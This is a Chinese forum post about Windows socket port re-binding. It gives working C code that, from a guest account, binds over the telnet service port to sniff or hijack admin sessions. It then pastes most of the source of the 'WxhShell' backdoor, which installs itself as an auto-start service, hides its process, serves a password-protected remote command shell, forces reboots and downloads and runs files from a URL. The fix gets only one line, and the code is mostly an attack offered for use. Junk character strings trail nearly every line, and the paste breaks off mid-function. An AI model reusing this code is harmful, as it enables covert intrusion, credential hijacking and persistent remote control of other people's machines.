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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: wPJRp]FA  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); vqOLSE"t*O  
-0 da"AB  
  saddr.sin_family = AF_INET; je4&'vyU  
Q'% o;z*  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); l6c%_<P|  
YB~t|m65  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); F ^t?*   
dMmka  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 m8j-lNu  
5MY}(w  
  这意味着什么?意味着可以进行如下的攻击: oz6+rM6MY  
aiZo{j<6  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @) ZO$h  
1`]IU_)1B  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) S<!_ uq  
4)+IO;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 BDkBYhz;7  
9m !!b{  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  \41)0,sEy  
Q!Ow{(|  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 | 58 !A]  
Vt=(2d5:p  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ),Ho(%T\  
tNuCxb-  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 rgdQR^!l6  
)6:]o&bZ  
  #include @" 0tW:  
  #include W0MnGzZ  
  #include fj-pNl6Gf  
  #include    `X<`j6zaG  
  DWORD WINAPI ClientThread(LPVOID lpParam);   [AX"ne# M*  
  int main() " Z2Tc)  
  { Cld<D5\|f+  
  WORD wVersionRequested; "bR'Bt  
  DWORD ret; B >u,)  
  WSADATA wsaData; P"9@8aLB  
  BOOL val; M_!u@\  
  SOCKADDR_IN saddr; qE`:b0FT  
  SOCKADDR_IN scaddr; 0^}'+t,lc  
  int err; `e?;vA&  
  SOCKET s; <Hh5u~  
  SOCKET sc; L+L"$  
  int caddsize; M*O(+EM  
  HANDLE mt; 6I&j cHH  
  DWORD tid;   3aO;@GNJ  
  wVersionRequested = MAKEWORD( 2, 2 ); i9;27tT~<  
  err = WSAStartup( wVersionRequested, &wsaData ); O+o;aa6  
  if ( err != 0 ) { 0n*rs=\VG  
  printf("error!WSAStartup failed!\n"); 9eGCBVW:*  
  return -1; =s0g2Zv"\  
  } a*6wSAA )  
  saddr.sin_family = AF_INET; eA1k)gjE  
   mNx,L+ 3  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ]HyHz9QkL  
8lOZ IbwS  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); XhE$&Ff  
  saddr.sin_port = htons(23); 7sud/*+F  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >HcYVp~G  
  { BH&/2tO%  
  printf("error!socket failed!\n"); tg7C;rJ  
  return -1; gH i~nEH  
  } J[}gku?C;  
  val = TRUE; %Lp2jyv.  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 0{0;1.ZP  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ka2F !   
  { @[d#mz  
  printf("error!setsockopt failed!\n"); iN<(O7B;  
  return -1; +R "AA_A?  
  } U_ x0KIm  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; k40Ep(M}  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 j`2B}@2  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [as-3&5S  
a9#W9eP  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) g|ql 5jW  
  { N@cMM1  
  ret=GetLastError(); W[R]^2QAG  
  printf("error!bind failed!\n"); hz< |W5  
  return -1; Lzh9DYU6  
  } ?_VRfeztw  
  listen(s,2); W *YW6  
  while(1) "?i>p z  
  { '1CD- Bu  
  caddsize = sizeof(scaddr); 968Ac}OA  
  //接受连接请求 H9%l?r5  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); WYSck&9  
  if(sc!=INVALID_SOCKET) `]K,'i{R  
  { d@-wi%,^  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =a?a@+  
  if(mt==NULL) R]CZw;zS_  
  { U:qF/%w  
  printf("Thread Creat Failed!\n"); .r~'(g{qt  
  break; so} l#  
  } B^Xy0fq  
  } myD{sE2A  
  CloseHandle(mt); @ (i*-u3Tq  
  } 3QCMK^#Z:  
  closesocket(s); iH[E= 6*  
  WSACleanup(); Lb!r(o>8Cb  
  return 0; mH'\:oN  
  }   LL{t5(- _  
  DWORD WINAPI ClientThread(LPVOID lpParam) Ip>^O/}$1  
  { +d=~LQ}*  
  SOCKET ss = (SOCKET)lpParam; ;)gLjF/F7  
  SOCKET sc; >[K0=nA  
  unsigned char buf[4096]; LlU' _}>  
  SOCKADDR_IN saddr; ]X*YAPv  
  long num; e d_m +NM  
  DWORD val; GXO4x|08F  
  DWORD ret; +q7qK*  
  //如果是隐藏端口应用的话,可以在此处加一些判断 'w}p[(  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   K~USK?Q%  
  saddr.sin_family = AF_INET; 77``8,  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); MM7"a?y)  
  saddr.sin_port = htons(23); \ZqK\=  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _~PO  
  { vsH3{:&;"P  
  printf("error!socket failed!\n"); B-$+UE>%  
  return -1; \F[n`C"Is  
  } 4*iHw+%mq  
  val = 100; gTnS[  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) M]1;  
  { D{>\-]\  
  ret = GetLastError(); Hv3W{|  
  return -1; &T7cH>E'K^  
  } 2@fa rx:  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (X*9w##x(  
  { jSB'>m]  
  ret = GetLastError(); )qmFK .;%  
  return -1; N^lAG"Jao[  
  } F, zG;_  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) xLZ bU4  
  { |Hfl&3  
  printf("error!socket connect failed!\n"); # J]~  
  closesocket(sc); #J\s%60pt  
  closesocket(ss); ?;_H{/)m  
  return -1;  f -7S:,  
  } Y3<b~!f  
  while(1) n6/fan;  
  { ~U9q-/(J/  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ZEqE$:  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 SAy{YOLtl  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 .wD>Gs{sH[  
  num = recv(ss,buf,4096,0); w [L&*  
  if(num>0) L $SMfx  
  send(sc,buf,num,0); { a. <`  
  else if(num==0) W1hX?!xp!  
  break; t?HF-zQ  
  num = recv(sc,buf,4096,0); p=vV4C:  
  if(num>0) $7Cgo&J  
  send(ss,buf,num,0); eKyqU9  
  else if(num==0) xdqK.Z%  
  break; =6fB*bNk]  
  } u3ST;  
  closesocket(ss); FD))'!>  
  closesocket(sc); ?;_O 9  
  return 0 ; W/=7jM   
  } \WX@PfL  
AJdp6@O +  
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========================================================== R B%:h-t4  
hVkO%]?  
下边附上一个代码,,WXhSHELL @<a|  
aDh|48}X  
========================================================== FllX za)  
"|hlDe<  
#include "stdafx.h" ~U3S eo }  
 HD H  
#include <stdio.h> h9jc,X u5X  
#include <string.h> +!><5  
#include <windows.h> 5D L,U(Y  
#include <winsock2.h> H#`8Ey  
#include <winsvc.h> E<k ^S{  
#include <urlmon.h> {!r#f(?uT  
Q vJZkGX  
#pragma comment (lib, "Ws2_32.lib") Z0W0uP;J  
#pragma comment (lib, "urlmon.lib") 7 OWsHlU  
4kh8W~i;/  
#define MAX_USER   100 // 最大客户端连接数 >: $"a  
#define BUF_SOCK   200 // sock buffer AOAO8%|I  
#define KEY_BUFF   255 // 输入 buffer @h9K  
qlvwK&W<QM  
#define REBOOT     0   // 重启 }/"4|U  
#define SHUTDOWN   1   // 关机 @k9Pz<ub  
o[^Q y(2~  
#define DEF_PORT   5000 // 监听端口 h7*O.Opm=  
a ea0+,;  
#define REG_LEN     16   // 注册表键长度 \%4|t,en  
#define SVC_LEN     80   // NT服务名长度 He<;4?:  
Yt*vqm[WV  
// 从dll定义API 6KO(j/Gwp  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); rs_h}+6"s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wASX\D }  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L;lk.~V4T  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !-,Ww[G>  
7>mhK7l  
// wxhshell配置信息 4 4`WYK l  
struct WSCFG { ?0) @jc=  
  int ws_port;         // 监听端口 I=odMw7Hj  
  char ws_passstr[REG_LEN]; // 口令 In+^V([u+_  
  int ws_autoins;       // 安装标记, 1=yes 0=no WUY,. 8  
  char ws_regname[REG_LEN]; // 注册表键名 R"{l[9j4>  
  char ws_svcname[REG_LEN]; // 服务名 Y/D -V  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *IqVY&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {2 EMz|&8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 HzEGq,.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yzg9I  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,5w]\z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~j]dct7  
#D0W7 a  
}; GMe0;StT  
[S)G$JW  
// default Wxhshell configuration u GAh7Sop  
struct WSCFG wscfg={DEF_PORT, 5zVQ;;9  
    "xuhuanlingzhe", T]uKH29.%  
    1, KC]tY9 FK  
    "Wxhshell", tvT4S  
    "Wxhshell", .:[`j3s)Y  
            "WxhShell Service", vcM~i^24)  
    "Wrsky Windows CmdShell Service", +(y>qd  
    "Please Input Your Password: ", :cdQ(O.m  
  1, sJv`fjf%8  
  "http://www.wrsky.com/wxhshell.exe", vzcz<i )  
  "Wxhshell.exe" %ZiK[e3G  
    }; j-6v2MH  
5QOZ%9E&M  
// 消息定义模块 Bz:&f46{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %p*`h43;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5;(0 $4I  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #fN/LO  
char *msg_ws_ext="\n\rExit."; | @ *3^'  
char *msg_ws_end="\n\rQuit."; 4]EvT=Ro  
char *msg_ws_boot="\n\rReboot..."; aP_3C_  
char *msg_ws_poff="\n\rShutdown..."; mYzcVhV  
char *msg_ws_down="\n\rSave to "; =E1tgrW  
kU1 %f o  
char *msg_ws_err="\n\rErr!"; <"A#Eok|4  
char *msg_ws_ok="\n\rOK!"; K.%z;( U  
0$l&i=L  
char ExeFile[MAX_PATH]; ?R282l  
int nUser = 0; *#6|!%?g  
HANDLE handles[MAX_USER]; u]0!|Jd0  
int OsIsNt; pagC(F  
ey*,StT5a  
SERVICE_STATUS       serviceStatus; ;AltNGcM  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Bd8hJA  
xY+A]Up|w  
// 函数声明 H6{Rd+\Z  
int Install(void); Txu>/1N,  
int Uninstall(void); qhnapZJ  
int DownloadFile(char *sURL, SOCKET wsh); jOtzx"/)rE  
int Boot(int flag); leR" j  
void HideProc(void); PYaOH_X.  
int GetOsVer(void); 3}yraX6r!  
int Wxhshell(SOCKET wsl); *5^ze+:  
void TalkWithClient(void *cs); Rn8#0%/Q  
int CmdShell(SOCKET sock); *%nX#mwz  
int StartFromService(void); 0O_E\- =  
int StartWxhshell(LPSTR lpCmdLine); |\/~ 8qP  
Xz" JY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Wz5d| b  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /lru"R D  
>H8^0n)?  
// 数据结构和表定义 P^ by'b+zI  
SERVICE_TABLE_ENTRY DispatchTable[] = nMeSCX  
{ ,~iFEaV+  
{wscfg.ws_svcname, NTServiceMain}, oUCVd}wH  
{NULL, NULL} '&+Z,  
}; /1U,+g^O>  
]2g5Ka[>w  
// 自我安装 JW2W>6Dgv[  
int Install(void) Kgps_tY%  
{ eUYG96Jw  
  char svExeFile[MAX_PATH]; gZ=) qT]Pj  
  HKEY key; cS+?s=d  
  strcpy(svExeFile,ExeFile); s9=pV4fA~w  
m79m{!q$-  
// 如果是win9x系统,修改注册表设为自启动 S".owe$\  
if(!OsIsNt) { +ESX.Vel  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4D0(Fl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]rKH|i  
  RegCloseKey(key); Q^\{Zg)p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M,I68  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k:@a[qnY  
  RegCloseKey(key); uV/)Gb*j  
  return 0; 3~#ZE;>#  
    } ^a: Saq-}  
  } ^Jc$BMaVg  
} + ?[ ACZF  
else { g4?Q.'dZr  
 eYPt  
// 如果是NT以上系统,安装为系统服务 &:IfhS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); EG8%~k+R  
if (schSCManager!=0) O(b"F? w  
{ 94S .9A  
  SC_HANDLE schService = CreateService })h'""i&xn  
  ( N^)<)?  
  schSCManager, 1==P.d(  
  wscfg.ws_svcname, ;))[P_$zB  
  wscfg.ws_svcdisp, mg/C Ux  
  SERVICE_ALL_ACCESS, 7R% PVgS4x  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v)X[gt tf  
  SERVICE_AUTO_START, $fq-wl-=  
  SERVICE_ERROR_NORMAL, h Kp,4D>2_  
  svExeFile, {m1t~ S   
  NULL, 9u-M! $  
  NULL, !xJLeQFJI]  
  NULL, )of5229  
  NULL, <ls i.x\y<  
  NULL \rB/83[;u  
  ); 3}.mp}K 5  
  if (schService!=0) mH7CgI  
  { w>1l@%U o  
  CloseServiceHandle(schService); MZ >0K  
  CloseServiceHandle(schSCManager); 8VBkIYgb  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o}j_eH l{  
  strcat(svExeFile,wscfg.ws_svcname); ,Jw\3T1V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $A5B{2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *IjdN,wox  
  RegCloseKey(key); Ynk><0g6  
  return 0; J%O[@jX1  
    } z[$9B#P  
  } Z IGbwL  
  CloseServiceHandle(schSCManager); PG-cu$\??  
} umHs" d  
} *;ZW=%M  
?$`1%Y9  
return 1; pE YrmC  
} _Oaso >  
z?IY3]v*z<  
// 自我卸载 4IGQ,RTB  
int Uninstall(void) p0:&7,+a,  
{ ho SU`X  
  HKEY key; o+6^|RP  
l yLK$B?/  
if(!OsIsNt) { A<*tn?M]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rwV u?W  
  RegDeleteValue(key,wscfg.ws_regname); s/p>30Fg  
  RegCloseKey(key); p1`'1`.3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '8kL1  
  RegDeleteValue(key,wscfg.ws_regname); 3<1HqU  
  RegCloseKey(key); >> 8KL`l  
  return 0; )4o=t.O\K  
  } _,-M8=dL%*  
} @Tm0T7C  
} X G@>1/  
else { %]= 'Uv^x  
ah&plaVzC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R~seUW7uv"  
if (schSCManager!=0)  vCH v  
{ gWU(uBS  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #D*J5k>2  
  if (schService!=0) xr7<(:d  
  { fU){]YP  
  if(DeleteService(schService)!=0) { 9Av- ;!]  
  CloseServiceHandle(schService); N6 }i>";_;  
  CloseServiceHandle(schSCManager); dQ2i{A"BKz  
  return 0; %~v76;H<  
  } b\uB  
  CloseServiceHandle(schService); m#}{"d&J  
  } hcqmjqJ  
  CloseServiceHandle(schSCManager); n*8RYm)?  
} A"T. nqB^y  
} snk{u/0Xm  
fB ,!|u  
return 1; '' A[`,3  
} KL_}:O68  
:@4>}k*  
// 从指定url下载文件 5<GRi "7A@  
int DownloadFile(char *sURL, SOCKET wsh) 0{Ll4  
{ !v;_@iW3e  
  HRESULT hr; 0dX=  
char seps[]= "/"; 7J_f/st  
char *token; R8W4 4I*R:  
char *file; 8LM1oal}  
char myURL[MAX_PATH]; !{ )AV/\D  
char myFILE[MAX_PATH]; L" ^366M!  
>yHnz?bf@  
strcpy(myURL,sURL); |"E9DD]{  
  token=strtok(myURL,seps); r`"#c7)  
  while(token!=NULL) ,ce^"yG  
  { g4qdm{BL  
    file=token; ~E|V{z%  
  token=strtok(NULL,seps); qN,FX#DP  
  } U=#ylQ   
%IXW|mi  
GetCurrentDirectory(MAX_PATH,myFILE); ^{+:w:g  
strcat(myFILE, "\\"); X|B;>q  
strcat(myFILE, file); \B ^sJ[n  
  send(wsh,myFILE,strlen(myFILE),0); :mHtK)z~  
send(wsh,"...",3,0); m-FDCiN>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :\;uJ5  
  if(hr==S_OK) Ck a]F2,  
return 0; DN{G$$or  
else 4'[ V'c\  
return 1; P&`r87J  
X',0MBQ0  
} S&) >w5*]U  
0!\q  
// 系统电源模块 R'HA>?D  
int Boot(int flag) D ;I;,Z  
{ 9+Hb`  
  HANDLE hToken; O9&:(2'f  
  TOKEN_PRIVILEGES tkp; j;'Wf[V  
:R\v# )C  
  if(OsIsNt) { trt\PP:H%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Rw8m5U  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &V{,D))6[  
    tkp.PrivilegeCount = 1; O!Cu.9}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,PxQ[CGg  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); L umD.3<  
if(flag==REBOOT) { =_6h{f&Q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~o5iCt;w  
  return 0; %"fKZ  
} 3(p6ak2lv  
else { %-|q3 ^s  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !jnIXvT1qy  
  return 0; <t@*[Aw  
} agD.J)v\  
  } WfO$q^'?DP  
  else { vBnHG-5;P  
if(flag==REBOOT) { ha~s< I  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (.+n1)L?  
  return 0; HNT8~s.2  
} S6X<3L`FfH  
else { P?7b,a95O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =upP3rw  
  return 0; M3`A&*\;  
} 4=:eGlU93U  
} +[`%b3Nk  
]zY'w,?D\F  
return 1; Mp=+*I[  
} [nD4\x+  
nJg2O@mRJ  
// win9x进程隐藏模块 KVy5/A/8c  
void HideProc(void) axOy~%%c  
{ *^_!W'T{j  
x0GZ2*vfsb  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); gv-k}2u_  
  if ( hKernel != NULL ) eO G%6C%a  
  { AFED YRX  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  cf!R  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); sAlgp2-  
    FreeLibrary(hKernel); fh<G& E8 p  
  } _AHVMsz@  
UC@"<$'C  
return; T7'$A!c  
} ;Vt u8f  
(J*0/7 eX  
// 获取操作系统版本 &pz8vWCk  
int GetOsVer(void) JM%#L*;  
{ {{,%p#/b  
  OSVERSIONINFO winfo; bP@ _4Dy  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); cpVi9]  
  GetVersionEx(&winfo); hg @Jpg  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (6{ VMQ  
  return 1; i$bBN$<b<  
  else i\G3 u#  
  return 0; Ui&$/%Z|  
} r N7"%dx  
`fyAV@X  
// 客户端句柄模块 %*nZ,r  
int Wxhshell(SOCKET wsl) M<Mr (z  
{ kZNZ?A<D  
  SOCKET wsh; nabN.Ly  
  struct sockaddr_in client; x7?{*w&r  
  DWORD myID; x3 S  
7@?b _  
  while(nUser<MAX_USER) 9':$!Eoq  
{ 1F|+4  
  int nSize=sizeof(client); w6_}] &F  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); NL 37Y{b  
  if(wsh==INVALID_SOCKET) return 1; TfPx   
O}Jb,?p  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;l'I. j  
if(handles[nUser]==0) >. Y ~F(  
  closesocket(wsh); G. }yNjL8  
else z0sB*5VH  
  nUser++; U VT8TN-T  
  } &%lhov  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xph60T  
fVM%.`  
  return 0; 5kF5`5+Vj  
} 5h1j.t!  
M<"D!h9YP  
// 关闭 socket 7}Sw(g)o7  
void CloseIt(SOCKET wsh) &BgaFx**  
{ nC rNZ&P  
closesocket(wsh); [H6>]&  
nUser--; RC 48e._t  
ExitThread(0); c nzPq\  
} IQDWH/ c  
KJd;c.  
// 客户端请求句柄 "hfwj`U  
void TalkWithClient(void *cs) ,>$#e1!J  
{ OjN]mp-q  
[>-k(D5D  
  SOCKET wsh=(SOCKET)cs; f As:[  
  char pwd[SVC_LEN]; Lh}he:k+  
  char cmd[KEY_BUFF]; ')BQ 0sg  
char chr[1]; z+b~#f3  
int i,j; <R2  
6voK{C4J  
  while (nUser < MAX_USER) { TDoYp  
lwU&jo*@  
if(wscfg.ws_passstr) { `&_qK~&/X  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z8 T{Xw6%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >b?,zWiw  
  //ZeroMemory(pwd,KEY_BUFF); EP[ gq  
      i=0; rnr7t \a~]  
  while(i<SVC_LEN) { v% 1#y5  
,'!&Z *  
  // 设置超时 0^m02\Li  
  fd_set FdRead; 1$^{Uma  
  struct timeval TimeOut; C?O{l%0  
  FD_ZERO(&FdRead); "\9@gfsp)  
  FD_SET(wsh,&FdRead);  en   
  TimeOut.tv_sec=8; 4Mprc~ 7vr  
  TimeOut.tv_usec=0; Cpj_mMtu  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _ReQQti[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /eI38>v  
j<!$ug9VA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gFKQm(0g2  
  pwd=chr[0]; eE&F1|8  
  if(chr[0]==0xd || chr[0]==0xa) { s#Le`pGoW  
  pwd=0; '~@WJKk  
  break; ;'h7 j*6  
  }  u(BYRB  
  i++; 1t)6wk N  
    } _uBf.Qfs  
4uz\Me(  
  // 如果是非法用户,关闭 socket iz'8P-]K>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); PH]q#/'  
} `jV0;sPd;  
%pMW5]H  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +`[$w<I  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?FA:K0H?zl  
/ g&mDYV|  
while(1) { i->sw#  
,^+3AT  
  ZeroMemory(cmd,KEY_BUFF);  E5o0^^  
^Dh2_vbI  
      // 自动支持客户端 telnet标准   0nv3JX^l]  
  j=0; !PO(Bfd  
  while(j<KEY_BUFF) { pG" 4qw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {ng  
  cmd[j]=chr[0]; -du+iOe?  
  if(chr[0]==0xa || chr[0]==0xd) { 6sPd")%G  
  cmd[j]=0; , vky  
  break; 5B51^"  
  }  W6a2I  
  j++; %o?fE4o'  
    } A1:Fe9q  
/aK },+  
  // 下载文件 t >8t|t+  
  if(strstr(cmd,"http://")) { akNJL\b  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Jus)cO#I  
  if(DownloadFile(cmd,wsh)) <cl$?].RE!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); sx/g5 ?zh  
  else LIR2B"3F  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >z( 6ADq  
  } Vbwbc5m}  
  else { |5O%@  
g'mkhF(  
    switch(cmd[0]) { ^c=@2#^\  
  UboOIx5:  
  // 帮助 ]qXfg c  
  case '?': { r*WdD/r|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p HWol!  
    break; -8EdTc@  
  } YN\ QwV  
  // 安装 '2%hc\P6P  
  case 'i': { s_RYYaM  
    if(Install()) A?_2@6Y^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KKOu":b  
    else )of_"gZ$3A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !Dz:6r  
    break; 6H3_q x  
    } q6osRK*20  
  // 卸载 |R+=Yk&u  
  case 'r': { Ue8_Q8q5  
    if(Uninstall()) )hn,rmn (P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D-[0^  
    else !FO92 P16  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hI?<F^b  
    break; 2!jbaSH(+  
    } XbHcd8N T  
  // 显示 wxhshell 所在路径 _Jx?m  
  case 'p': { (s}9N   
    char svExeFile[MAX_PATH]; uz*C`T0:rj  
    strcpy(svExeFile,"\n\r"); =r GkM.^  
      strcat(svExeFile,ExeFile); Q>X ;7nt0  
        send(wsh,svExeFile,strlen(svExeFile),0); X_=oJi|:  
    break; TN l$P~X>  
    } S:DB%V3  
  // 重启 u D . 0?*_  
  case 'b': { U~7.aZHPx3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "i#!  
    if(Boot(REBOOT)) +L_.XToq-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @ cv`}k  
    else { SLBKXj|  
    closesocket(wsh); 5ptbz<Xv  
    ExitThread(0); Z5NuLB'  
    } ujwI4oj"c  
    break; W>+<r9Rt4  
    } h#;yA"j1&  
  // 关机 sz}Nal$AC  
  case 'd': { G-rN?R.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c-gaK\u}j}  
    if(Boot(SHUTDOWN)) `7'(U)x,F  
